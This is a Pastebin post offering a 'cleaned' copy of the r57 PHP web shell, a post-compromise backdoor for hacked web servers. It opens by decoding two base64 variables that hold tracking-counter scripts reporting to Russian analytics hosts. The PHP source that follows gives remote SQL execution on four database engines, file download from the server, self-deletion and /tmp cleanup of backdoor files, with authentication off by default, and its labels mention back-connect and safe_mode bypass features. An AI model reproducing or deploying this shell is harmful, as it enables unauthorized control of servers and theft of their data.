SHARE
TWEET

r57 shell - [cleaned] no backdoor

a guest Oct 21st, 2011 9,773 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. I noticed the r57 shell (and others) from http://www.xfocus.net.ru/ had a backdoor to it.
  2. See below for clean copy of the php shell.
  3.  
  4. Two variables in this r57 code are base 64 encoded...
  5.  
  6. $c1 variable decoded ----------------- (backdoor) ---------------------------------------------------
  7.  
  8. <script language="javascript">hotlog_js="1.0";hotlog_r=""+Math.random()+"&s=81606&im=1&r="+escape(document.referrer)+"&pg="+escape(window.location.href);document.cookie="hotlog=1; path=/"; hotlog_r+="&c="+(document.cookie?"Y":"N");</script><script language="javascript1.1">hotlog_js="1.1";hotlog_r+="&j="+(navigator.javaEnabled()?"Y":"N")</script><script language="javascript1.2">hotlog_js="1.2";hotlog_r+="&wh="+screen.width+'x'+screen.height+"&px="+(((navigator.appName.substring(0,3)=="Mic"))?screen.colorDepth:screen.pixelDepth)</script><script language="javascript1.3">hotlog_js="1.3"</script><script language="javascript">hotlog_r+="&js="+hotlog_js;document.write("<a href='http://click.hotlog.ru/?81606' target='_top'><img "+" src='http://hit4.hotlog.ru/cgi-bin/hotlog/count?"+hotlog_r+"&' border=0 width=1 height=1 alt=1></a>")</script><noscript><a href=http://click.hotlog.ru/?81606 target=_top><imgsrc="http://hit4.hotlog.ru/cgi-bin/hotlog/count?s=81606&im=1" border=0width="1" height="1" alt="HotLog"></a></noscript>
  9.  
  10.  
  11. $c2 decoded --------------- (backdoor) ---------------------------------------------------
  12.  
  13. <!--LiveInternet counter--><script language="JavaScript"><!--
  14.  
  15. document.write('<a href="http://www.liveinternet.ru/click" '+
  16.  
  17. 'target=_blank><img src="http://counter.yadro.ru/hit?t52.6;r'+
  18.  
  19. escape(document.referrer)+((typeof(screen)=='undefined')?'':
  20.  
  21. ';s'+screen.width+'*'+screen.height+'*'+(screen.colorDepth?
  22.  
  23. screen.colorDepth:screen.pixelDepth))+';'+Math.random()+
  24.  
  25. '" alt="liveinternet.ru: ïîêàçàíî ÷èñëî ïðîñìîòðîâ è ïîñåòèòåëåé çà 24 ÷àñà" '+
  26.  
  27. 'border=0 width=0 height=0></a>')//--></script><!--/LiveInternet-->
  28.  
  29.  
  30. ---------------------------------------------------------------------------------------------------------
  31. -----------------------------------------------------------------------------------------------------
  32. ------------------------------------------------------------------------------------------------
  33. Clean php shell>
  34.  
  35.  
  36.  
  37.  
  38. <?php
  39.  
  40. /* ~~~ ????????? | Options  ~~~ */
  41.  
  42. // ????? ????? | Language
  43. // $language='ru' - ??????? (russian)
  44. // $language='eng' - english (??????????)
  45. $language='eng';
  46. $a = "http://"; // need some codes
  47.  
  48. // ?????????????? | Authentification
  49. // $auth = 1; - ?????????????? ????????  ( authentification = On  )
  50. // $auth = 0; - ?????????????? ????????? ( authentification = Off )
  51. $auth = 0;
  52.  
  53.  
  54. // ????? ? ?????? ??? ??????? ? ??????? (Login & Password for access)
  55. // ?? ???????? ??????? ????? ??????????? ?? ???????!!! (CHANGE THIS!!!)
  56. $name='r57'; // ????? ????????????  (user login)
  57. $pass='r57'; // ?????? ???????????? (user password)
  58. $b = ".com";
  59. /******************************************************************************************************/
  60. $c = "x";
  61. error_reporting(0);
  62. set_magic_quotes_runtime(0);
  63. @set_time_limit(0);
  64. @ini_set('max_execution_time',0);
  65. @ini_set('output_buffering',0);
  66. $safe_mode = @ini_get('safe_mode');
  67. $version = "1.24";
  68. if(version_compare(phpversion(), '4.1.0') == -1)
  69.  {
  70.  $_POST   = &$HTTP_POST_VARS;
  71.  $_GET    = &$HTTP_GET_VARS;
  72.  $_SERVER = &$HTTP_SERVER_VARS;
  73.  }
  74. if (@get_magic_quotes_gpc())
  75.  {
  76.  foreach ($_POST as $k=>$v)
  77.   {
  78.   $_POST[$k] = stripslashes($v);
  79.   }
  80.  foreach ($_SERVER as $k=>$v)
  81.   {
  82.   $_SERVER[$k] = stripslashes($v);
  83.   }
  84.  }
  85.  
  86. if($auth == 1) {
  87. if (!isset($_SERVER['PHP_AUTH_USER']) || $_SERVER['PHP_AUTH_USER']!==$name || $_SERVER['PHP_AUTH_PW']!==$pass)
  88.    {
  89.    header('WWW-Authenticate: Basic realm="r57shell"');
  90.    header('HTTP/1.0 401 Unauthorized');
  91.    exit("<b><a href=http://rst.void.ru>r57shell</a> : Access Denied</b>");
  92.    }
  93. }  
  94. $head = '<!-- ??????????  ???? -->
  95. <html>
  96. <head>
  97. <title>r57shell</title>
  98. <meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
  99.  
  100. <STYLE>
  101. tr {
  102. BORDER-RIGHT:  #aaaaaa 1px solid;
  103. BORDER-TOP:    #eeeeee 1px solid;
  104. BORDER-LEFT:   #eeeeee 1px solid;
  105. BORDER-BOTTOM: #aaaaaa 1px solid;
  106. }
  107. td {
  108. BORDER-RIGHT:  #aaaaaa 1px solid;
  109. BORDER-TOP:    #eeeeee 1px solid;
  110. BORDER-LEFT:   #eeeeee 1px solid;
  111. BORDER-BOTTOM: #aaaaaa 1px solid;
  112. }
  113. .table1 {
  114. BORDER-RIGHT:  #cccccc 0px;
  115. BORDER-TOP:    #cccccc 0px;
  116. BORDER-LEFT:   #cccccc 0px;
  117. BORDER-BOTTOM: #cccccc 0px;
  118. BACKGROUND-COLOR: #D4D0C8;
  119. }
  120. .td1 {
  121. BORDER-RIGHT:  #cccccc 0px;
  122. BORDER-TOP:    #cccccc 0px;
  123. BORDER-LEFT:   #cccccc 0px;
  124. BORDER-BOTTOM: #cccccc 0px;
  125. font: 7pt Verdana;
  126. }
  127. .tr1 {
  128. BORDER-RIGHT:  #cccccc 0px;
  129. BORDER-TOP:    #cccccc 0px;
  130. BORDER-LEFT:   #cccccc 0px;
  131. BORDER-BOTTOM: #cccccc 0px;
  132. }
  133. table {
  134. BORDER-RIGHT:  #eeeeee 1px outset;
  135. BORDER-TOP:    #eeeeee 1px outset;
  136. BORDER-LEFT:   #eeeeee 1px outset;
  137. BORDER-BOTTOM: #eeeeee 1px outset;
  138. BACKGROUND-COLOR: #D4D0C8;
  139. }
  140. input {
  141. BORDER-RIGHT:  #ffffff 1px solid;
  142. BORDER-TOP:    #999999 1px solid;
  143. BORDER-LEFT:   #999999 1px solid;
  144. BORDER-BOTTOM: #ffffff 1px solid;
  145. BACKGROUND-COLOR: #e4e0d8;
  146. font: 8pt Verdana;
  147. }
  148. select {
  149. BORDER-RIGHT:  #ffffff 1px solid;
  150. BORDER-TOP:    #999999 1px solid;
  151. BORDER-LEFT:   #999999 1px solid;
  152. BORDER-BOTTOM: #ffffff 1px solid;
  153. BACKGROUND-COLOR: #e4e0d8;
  154. font: 8pt Verdana;
  155. }
  156. submit {
  157. BORDER-RIGHT:  buttonhighlight 2px outset;
  158. BORDER-TOP:    buttonhighlight 2px outset;
  159. BORDER-LEFT:   buttonhighlight 2px outset;
  160. BORDER-BOTTOM: buttonhighlight 2px outset;
  161. BACKGROUND-COLOR: #e4e0d8;
  162. width: 30%;
  163. }
  164. textarea {
  165. BORDER-RIGHT:  #ffffff 1px solid;
  166. BORDER-TOP:    #999999 1px solid;
  167. BORDER-LEFT:   #999999 1px solid;
  168. BORDER-BOTTOM: #ffffff 1px solid;
  169. BACKGROUND-COLOR: #e4e0d8;
  170. font: Fixedsys bold;
  171. }
  172. BODY {
  173. margin-top: 1px;
  174. margin-right: 1px;
  175. margin-bottom: 1px;
  176. margin-left: 1px;
  177. }
  178. A:link {COLOR:red; TEXT-DECORATION: none}
  179. A:visited { COLOR:red; TEXT-DECORATION: none}
  180. A:active {COLOR:red; TEXT-DECORATION: none}
  181. A:hover {color:blue;TEXT-DECORATION: none}
  182. </STYLE>';
  183. class zipfile
  184. {
  185.     var $datasec      = array();
  186.     var $ctrl_dir     = array();
  187.     var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
  188.     var $old_offset   = 0;
  189.     function unix2DosTime($unixtime = 0) {
  190.         $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
  191.         if ($timearray['year'] < 1980) {
  192.             $timearray['year']    = 1980;
  193.             $timearray['mon']     = 1;
  194.             $timearray['mday']    = 1;
  195.             $timearray['hours']   = 0;
  196.             $timearray['minutes'] = 0;
  197.             $timearray['seconds'] = 0;
  198.         }
  199.         return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
  200.                 ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
  201.     }
  202.     function addFile($data, $name, $time = 0)
  203.     {
  204.         $name     = str_replace('\\', '/', $name);
  205.         $dtime    = dechex($this->unix2DosTime($time));
  206.         $hexdtime = '\x' . $dtime[6] . $dtime[7]
  207.                   . '\x' . $dtime[4] . $dtime[5]
  208.                   . '\x' . $dtime[2] . $dtime[3]
  209.                   . '\x' . $dtime[0] . $dtime[1];
  210.         eval('$hexdtime = "' . $hexdtime . '";');
  211.         $fr   = "\x50\x4b\x03\x04";
  212.         $fr   .= "\x14\x00";            
  213.         $fr   .= "\x00\x00";            
  214.         $fr   .= "\x08\x00";            
  215.         $fr   .= $hexdtime;            
  216.         $unc_len = strlen($data);
  217.         $crc     = crc32($data);
  218.         $zdata   = gzcompress($data);
  219.         $zdata   = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
  220.         $c_len   = strlen($zdata);
  221.         $fr      .= pack('V', $crc);            
  222.         $fr      .= pack('V', $c_len);          
  223.         $fr      .= pack('V', $unc_len);        
  224.         $fr      .= pack('v', strlen($name));    
  225.         $fr      .= pack('v', 0);                
  226.         $fr      .= $name;
  227.         $fr .= $zdata;
  228.         $this -> datasec[] = $fr;
  229.         $cdrec = "\x50\x4b\x01\x02";
  230.         $cdrec .= "\x00\x00";                
  231.         $cdrec .= "\x14\x00";                
  232.         $cdrec .= "\x00\x00";                
  233.         $cdrec .= "\x08\x00";                
  234.         $cdrec .= $hexdtime;                
  235.         $cdrec .= pack('V', $crc);          
  236.         $cdrec .= pack('V', $c_len);        
  237.         $cdrec .= pack('V', $unc_len);      
  238.         $cdrec .= pack('v', strlen($name) );
  239.         $cdrec .= pack('v', 0 );            
  240.         $cdrec .= pack('v', 0 );            
  241.         $cdrec .= pack('v', 0 );            
  242.         $cdrec .= pack('v', 0 );            
  243.         $cdrec .= pack('V', 32 );            
  244.         $cdrec .= pack('V', $this -> old_offset );
  245.         $this -> old_offset += strlen($fr);
  246.         $cdrec .= $name;
  247.         $this -> ctrl_dir[] = $cdrec;
  248.     }
  249.     function file()
  250.     {
  251.         $data    = implode('', $this -> datasec);
  252.         $ctrldir = implode('', $this -> ctrl_dir);
  253.         return
  254.             $data .
  255.             $ctrldir .
  256.             $this -> eof_ctrl_dir .
  257.             pack('v', sizeof($this -> ctrl_dir)) .  
  258.             pack('v', sizeof($this -> ctrl_dir)) .  
  259.             pack('V', strlen($ctrldir)) .          
  260.             pack('V', strlen($data)) .              
  261.             "\x00\x00";              
  262.     }
  263. }
  264. function compress(&$filename,&$filedump,$compress)
  265.  {
  266.     global $content_encoding;
  267.     global $mime_type;
  268.     if ($compress == 'bzip' && @function_exists('bzcompress'))
  269.      {
  270.         $filename  .= '.bz2';
  271.         $mime_type = 'application/x-bzip2';
  272.         $filedump = bzcompress($filedump);
  273.      }
  274.      else if ($compress == 'gzip' && @function_exists('gzencode'))
  275.      {
  276.         $filename  .= '.gz';
  277.         $content_encoding = 'x-gzip';
  278.         $mime_type = 'application/x-gzip';
  279.         $filedump = gzencode($filedump);
  280.      }
  281.      else if ($compress == 'zip' && @function_exists('gzcompress'))
  282.      {
  283.         $filename .= '.zip';
  284.         $mime_type = 'application/zip';
  285.         $zipfile = new zipfile();
  286.         $zipfile -> addFile($filedump, substr($filename, 0, -4));
  287.         $filedump = $zipfile -> file();
  288.      }
  289.      else
  290.      {
  291.         $mime_type = 'application/octet-stream';
  292.      }
  293.  }
  294. function mailattach($to,$from,$subj,$attach)
  295.  {
  296.  $headers  = "From: $from\r\n";
  297.  $headers .= "MIME-Version: 1.0\r\n";
  298.  $headers .= "Content-Type: ".$attach['type'];
  299.  $headers .= "; name=\"".$attach['name']."\"\r\n";
  300.  $headers .= "Content-Transfer-Encoding: base64\r\n\r\n";
  301.  $headers .= chunk_split(base64_encode($attach['content']))."\r\n";
  302.  if(@mail($to,$subj,"",$headers)) { return 1; }
  303.  return 0;
  304.  }
  305. if(isset($_GET['img'])&&!empty($_GET['img']))
  306.  {
  307.  $images = array();
  308.  $images[1]='R0lGODlhBwAHAIAAAAAAAP///yH5BAEAAAEALAAAAAAHAAcAAAILjI9pkODnYohUhQIAOw==';
  309.  $images[2]='R0lGODlhBwAHAIAAAAAAAP///yH5BAEAAAEALAAAAAAHAAcAAAILjI+pwA3hnmlJhgIAOw==';
  310.  @ob_clean();
  311.  header("Content-type: image/gif");
  312.  echo base64_decode($images[$_GET['img']]);
  313.  die();
  314.  }
  315. if(isset($_POST['cmd']) && !empty($_POST['cmd']) && $_POST['cmd']=="download_file" && !empty($_POST['d_name']))
  316.  {
  317.   if(!$file=@fopen($_POST['d_name'],"r")) { echo re($_POST['d_name']); $_POST['cmd']=""; }
  318.   else
  319.    {
  320.     @ob_clean();
  321.     $filename = @basename($_POST['d_name']);
  322.     $filedump = @fread($file,@filesize($_POST['d_name']));
  323.     fclose($file);
  324.     $content_encoding=$mime_type='';
  325.     compress($filename,$filedump,$_POST['compress']);
  326.     if (!empty($content_encoding)) { header('Content-Encoding: ' . $content_encoding); }
  327.     header("Content-type: ".$mime_type);
  328.     header("Content-disposition: attachment; filename=\"".$filename."\";");  
  329.     echo $filedump;
  330.     exit();
  331.    }           
  332.  }
  333. if(isset($_GET['phpinfo'])) { echo @phpinfo(); echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); }
  334. if ($_POST['cmd']=="db_query")
  335.  {
  336.   echo $head;
  337.   switch($_POST['db'])
  338.   {
  339.   case 'MySQL':
  340.   if(empty($_POST['db_port'])) { $_POST['db_port'] = '3306'; }
  341.   $db = @mysql_connect('localhost:'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']);
  342.   if($db)
  343.    {
  344.         if(!empty($_POST['mysql_db'])) { @mysql_select_db($_POST['mysql_db'],$db); }
  345.     $querys = @explode(';',$_POST['db_query']);
  346.     foreach($querys as $num=>$query)
  347.      {
  348.       if(strlen($query)>5){
  349.       echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query)."</b></font><br>";
  350.       $res = @mysql_query($query,$db);
  351.       $error = @mysql_error($db);
  352.       if($error) { echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$error."</b></font></td></tr></table><br>"; }
  353.       else {
  354.       if (@mysql_num_rows($res) > 0)
  355.        {
  356.        $sql2 = $sql = $keys = $values = '';
  357.        while (($row = @mysql_fetch_assoc($res)))
  358.         {
  359.         $keys = @implode("&nbsp;</b></font></td><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;", @array_keys($row));
  360.         $values = @array_values($row);
  361.         foreach($values as $k=>$v) { $values[$k] = htmlspecialchars($v);}
  362.         $values = @implode("&nbsp;</font></td><td><font face=Verdana size=-2>&nbsp;",$values);
  363.         $sql2 .= "<tr><td><font face=Verdana size=-2>&nbsp;".$values."&nbsp;</font></td></tr>";
  364.         }
  365.        echo "<table width=100%>";
  366.        $sql  = "<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;".$keys."&nbsp;</b></font></td></tr>";
  367.        $sql .= $sql2;
  368.        echo $sql;
  369.        echo "</table><br>";
  370.        }
  371.       else { if(($rows = @mysql_affected_rows($db))>=0) { echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$rows."</b></font></td></tr></table><br>"; } }
  372.       }
  373.       @mysql_free_result($res);
  374.       }
  375.      }    
  376.         @mysql_close($db);
  377.    }
  378.   else echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to MySQL server</b></font></div>";        
  379.   break;
  380.   case 'MSSQL':
  381.   if(empty($_POST['db_port'])) { $_POST['db_port'] = '1433'; }
  382.   $db = @mssql_connect('localhost,'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']);
  383.   if($db)
  384.    {
  385.         if(!empty($_POST['mysql_db'])) { @mssql_select_db($_POST['mysql_db'],$db); }
  386.     $querys = @explode(';',$_POST['db_query']);
  387.     foreach($querys as $num=>$query)
  388.      {
  389.       if(strlen($query)>5){
  390.       echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query)."</b></font><br>";
  391.       $res = @mssql_query($query,$db);
  392.       if (@mssql_num_rows($res) > 0)
  393.        {
  394.        $sql2 = $sql = $keys = $values = '';
  395.        while (($row = @mssql_fetch_assoc($res)))
  396.         {
  397.         $keys = @implode("&nbsp;</b></font></td><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;", @array_keys($row));
  398.         $values = @array_values($row);
  399.         foreach($values as $k=>$v) { $values[$k] = htmlspecialchars($v);}
  400.         $values = @implode("&nbsp;</font></td><td><font face=Verdana size=-2>&nbsp;",$values);
  401.         $sql2 .= "<tr><td><font face=Verdana size=-2>&nbsp;".$values."&nbsp;</font></td></tr>";
  402.         }
  403.        echo "<table width=100%>";
  404.        $sql  = "<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;".$keys."&nbsp;</b></font></td></tr>";
  405.        $sql .= $sql2;
  406.        echo $sql;
  407.        echo "</table><br>";
  408.        }
  409.       /* else { if(($rows = @mssql_affected_rows($db)) > 0) { echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$rows."</b></font></td></tr></table><br>"; } else { echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$error."</b></font></td></tr></table><br>"; }} */
  410.       @mssql_free_result($res);
  411.       }
  412.      }    
  413.         @mssql_close($db);
  414.    }
  415.   else echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to MSSQL server</b></font></div>";
  416.   break;
  417.   case 'PostgreSQL':
  418.   if(empty($_POST['db_port'])) { $_POST['db_port'] = '5432'; }
  419.   $str = "host='localhost' port='".$_POST['db_port']."' user='".$_POST['mysql_l']."' password='".$_POST['mysql_p']."' dbname='".$_POST['mysql_db']."'";
  420.   $db = @pg_connect($str);
  421.   if($db)
  422.    {
  423.     $querys = @explode(';',$_POST['db_query']);
  424.     foreach($querys as $num=>$query)
  425.      {
  426.       if(strlen($query)>5){
  427.       echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query)."</b></font><br>";
  428.       $res = @pg_query($db,$query);
  429.       $error = @pg_errormessage($db);
  430.       if($error) { echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$error."</b></font></td></tr></table><br>"; }
  431.       else {
  432.       if (@pg_num_rows($res) > 0)
  433.        {
  434.        $sql2 = $sql = $keys = $values = '';
  435.        while (($row = @pg_fetch_assoc($res)))
  436.         {
  437.         $keys = @implode("&nbsp;</b></font></td><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;", @array_keys($row));
  438.         $values = @array_values($row);
  439.         foreach($values as $k=>$v) { $values[$k] = htmlspecialchars($v);}
  440.         $values = @implode("&nbsp;</font></td><td><font face=Verdana size=-2>&nbsp;",$values);
  441.         $sql2 .= "<tr><td><font face=Verdana size=-2>&nbsp;".$values."&nbsp;</font></td></tr>";
  442.         }
  443.        echo "<table width=100%>";
  444.        $sql  = "<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;".$keys."&nbsp;</b></font></td></tr>";
  445.        $sql .= $sql2;
  446.        echo $sql;
  447.        echo "</table><br>";
  448.        }
  449.       else { if(($rows = @pg_affected_rows($res))>=0) { echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$rows."</b></font></td></tr></table><br>"; } }
  450.       }
  451.       @pg_free_result($res);
  452.       }
  453.      }    
  454.         @pg_close($db);
  455.    }
  456.   else echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to PostgreSQL server</b></font></div>";
  457.   break;
  458.   case 'Oracle':
  459.   $db = @ocilogon($_POST['mysql_l'], $_POST['mysql_p'], $_POST['mysql_db']);
  460.   if(($error = @ocierror())) { echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to Oracle server.<br>".$error['message']."</b></font></div>"; }
  461.   else
  462.    {
  463.    $querys = @explode(';',$_POST['db_query']);
  464.    foreach($querys as $num=>$query)
  465.     {
  466.     if(strlen($query)>5) {
  467.     echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query)."</b></font><br>";
  468.     $stat = @ociparse($db, $query);
  469.     @ociexecute($stat);
  470.     if(($error = @ocierror())) { echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$error['message']."</b></font></td></tr></table><br>"; }
  471.     else
  472.      {
  473.      $rowcount = @ocirowcount($stat);
  474.      if($rowcount != 0) {echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$rowcount."</b></font></td></tr></table><br>";}
  475.      else {
  476.      echo "<table width=100%><tr>";
  477.      for ($j = 1; $j <= @ocinumcols($stat); $j++) { echo "<td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;".htmlspecialchars(@ocicolumnname($stat, $j))."&nbsp;</b></font></td>"; }
  478.      echo "</tr>";
  479.      while(ocifetch($stat))
  480.       {
  481.       echo "<tr>";
  482.       for ($j = 1; $j <= @ocinumcols($stat); $j++) { echo "<td><font face=Verdana size=-2>&nbsp;".htmlspecialchars(@ociresult($stat, $j))."&nbsp;</font></td>"; }
  483.       echo "</tr>";
  484.       }
  485.      echo "</table><br>";
  486.      }
  487.      @ocifreestatement($stat);
  488.      }
  489.     }
  490.     }
  491.    @ocilogoff($db);
  492.    }
  493.   break;
  494.   }
  495.  echo "<form name=form method=POST>";
  496.  echo in('hidden','db',0,$_POST['db']);
  497.  echo in('hidden','db_port',0,$_POST['db_port']);
  498.  echo in('hidden','mysql_l',0,$_POST['mysql_l']);
  499.  echo in('hidden','mysql_p',0,$_POST['mysql_p']);
  500.  echo in('hidden','mysql_db',0,$_POST['mysql_db']);
  501.  echo in('hidden','cmd',0,'db_query');
  502.  echo "<div align=center><textarea cols=65 rows=10 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;"))."</textarea><br><input type=submit name=submit value=\" Run SQL query \"></div><br><br>";
  503.  echo "</form>";
  504.  echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die();
  505.  }     
  506. if(isset($_GET['delete']))
  507.  {
  508.    @unlink(@substr(@strrchr($_SERVER['PHP_SELF'],"/"),1));
  509.  }
  510. if(isset($_GET['tmp']))
  511.  {
  512.    @unlink("/tmp/bdpl");
  513.    @unlink("/tmp/back");
  514.    @unlink("/tmp/bd");
  515.    @unlink("/tmp/bd.c");
  516.    @unlink("/tmp/dp");
  517.    @unlink("/tmp/dpc");
  518.    @unlink("/tmp/dpc.c");
  519.  }
  520. if(isset($_GET['phpini']))
  521. {
  522. echo $head;
  523. function U_value($value)
  524.  {
  525.  if ($value == '') return '<i>no value</i>';
  526.  if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE';
  527.  if ($value === null) return 'NULL';
  528.  if (@is_object($value)) $value = (array) $value;
  529.  if (@is_array($value))
  530.  {
  531.  @ob_start();
  532.  print_r($value);
  533.  $value = @ob_get_contents();
  534.  @ob_end_clean();
  535.  }
  536.  return U_wordwrap((string) $value);
  537.  }
  538. function U_wordwrap($str)
  539.  {
  540.  $str = @wordwrap(@htmlspecialchars($str), 100, '<wbr />', true);
  541.  return @preg_replace('!(&[^;]*)<wbr />([^;]*;)!', '$1$2<wbr />', $str);
  542.  }
  543. if (@function_exists('ini_get_all'))
  544.  {
  545.  $r = '';
  546.  echo '<table width=100%>', '<tr><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Directive</b></div></font></td><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Local Value</b></div></font></td><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Master Value</b></div></font></td></tr>';
  547.  foreach (@ini_get_all() as $key=>$value)
  548.   {
  549.   $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.$key.'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['local_value']).'</b></div></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['global_value']).'</b></div></font></td></tr>';
  550.   }
  551.  echo $r;
  552.  echo '</table>';
  553.  }
  554. echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
  555. die();
  556. }
  557. if(isset($_GET['cpu']))
  558.  {
  559.    echo $head;
  560.    echo '<table width=100%><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2 color=red><b>CPU</b></font></div></td></tr></table><table width=100%>';
  561.    $cpuf = @file("cpuinfo");
  562.    if($cpuf)
  563.     {
  564.       $c = @sizeof($cpuf);
  565.       for($i=0;$i<$c;$i++)
  566.         {
  567.           $info = @explode(":",$cpuf[$i]);
  568.           if($info[1]==""){ $info[1]="---"; }
  569.           $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>';
  570.         }
  571.       echo $r;
  572.     }
  573.    else
  574.     {
  575.       echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>';
  576.     }
  577.    echo '</table>';
  578.    echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
  579.    die();
  580.  }
  581. if(isset($_GET['mem']))
  582.  {
  583.    echo $head;
  584.    echo '<table width=100%><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2 color=red><b>MEMORY</b></font></div></td></tr></table><table width=100%>';
  585.    $memf = @file("meminfo");
  586.    if($memf)
  587.     {
  588.       $c = sizeof($memf);
  589.       for($i=0;$i<$c;$i++)
  590.         {
  591.           $info = explode(":",$memf[$i]);
  592.           if($info[1]==""){ $info[1]="---"; }
  593.           $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>';
  594.         }
  595.       echo $r;
  596.     }
  597.    else
  598.     {
  599.       echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>';
  600.     }
  601.    echo '</table>';
  602.    echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
  603.    die();
  604.  }
  605. $lang=array(
  606. 'ru_text1' =>'??????????? ???????',
  607. 'ru_text2' =>'?????????? ?????? ?? ???????',
  608. 'ru_text3' =>'????????? ???????',
  609. 'ru_text4' =>'??????? ??????????',
  610. 'ru_text5' =>'???????? ?????? ?? ??????',
  611. 'ru_text6' =>'????????? ????',
  612. 'ru_text7' =>'??????',
  613. 'ru_text8' =>'???????? ?????',
  614. 'ru_butt1' =>'?????????',
  615. 'ru_butt2' =>'?????????',
  616. 'ru_text9' =>'???????? ????? ? ???????? ??? ? /bin/bash',
  617. 'ru_text10'=>'??????? ????',
  618. 'ru_text11'=>'?????? ??? ???????',
  619. 'ru_butt3' =>'???????',
  620. 'ru_text12'=>'back-connect',
  621. 'ru_text13'=>'IP-?????',
  622. 'ru_text14'=>'????',
  623. 'ru_butt4' =>'?????????',
  624. 'ru_text15'=>'???????? ?????? ? ?????????? ???????',
  625. 'ru_text16'=>'????????????',
  626. 'ru_text17'=>'????????? ????',
  627. 'ru_text18'=>'????????? ????',
  628. 'ru_text19'=>'Exploits',
  629. 'ru_text20'=>'????????????',
  630. 'ru_text21'=>'????? ???',
  631. 'ru_text22'=>'datapipe',
  632. 'ru_text23'=>'????????? ????',
  633. 'ru_text24'=>'????????? ????',
  634. 'ru_text25'=>'????????? ????',
  635. 'ru_text26'=>'????????????',
  636. 'ru_butt5' =>'?????????',
  637. 'ru_text28'=>'?????? ? safe_mode',
  638. 'ru_text29'=>'?????? ????????',
  639. 'ru_butt6' =>'???????',
  640. 'ru_text30'=>'???????? ?????',
  641. 'ru_butt7' =>'???????',
  642. 'ru_text31'=>'???? ?? ??????',
  643. 'ru_text32'=>'?????????? PHP ????',
  644. 'ru_text33'=>'???????? ??????????? ?????? ??????????? open_basedir ????? ??????? cURL',
  645. 'ru_butt8' =>'?????????',
  646. 'ru_text34'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ??????? include',
  647. 'ru_text35'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ???????? ????? ? mysql',
  648. 'ru_text36'=>'????',
  649. 'ru_text37'=>'?????',
  650. 'ru_text38'=>'??????',
  651. 'ru_text39'=>'???????',
  652. 'ru_text40'=>'???? ??????? ???? ??????',
  653. 'ru_butt9' =>'????',
  654. 'ru_text41'=>'????????? ? ?????',
  655. 'ru_text42'=>'?????????????? ?????',
  656. 'ru_text43'=>'????????????? ????',
  657. 'ru_butt10'=>'?????????',
  658. 'ru_butt11'=>'?????????????',
  659. 'ru_text44'=>'?????????????? ????? ??????????! ?????? ?????? ??? ??????!',
  660. 'ru_text45'=>'???? ????????',
  661. 'ru_text46'=>'???????? phpinfo()',
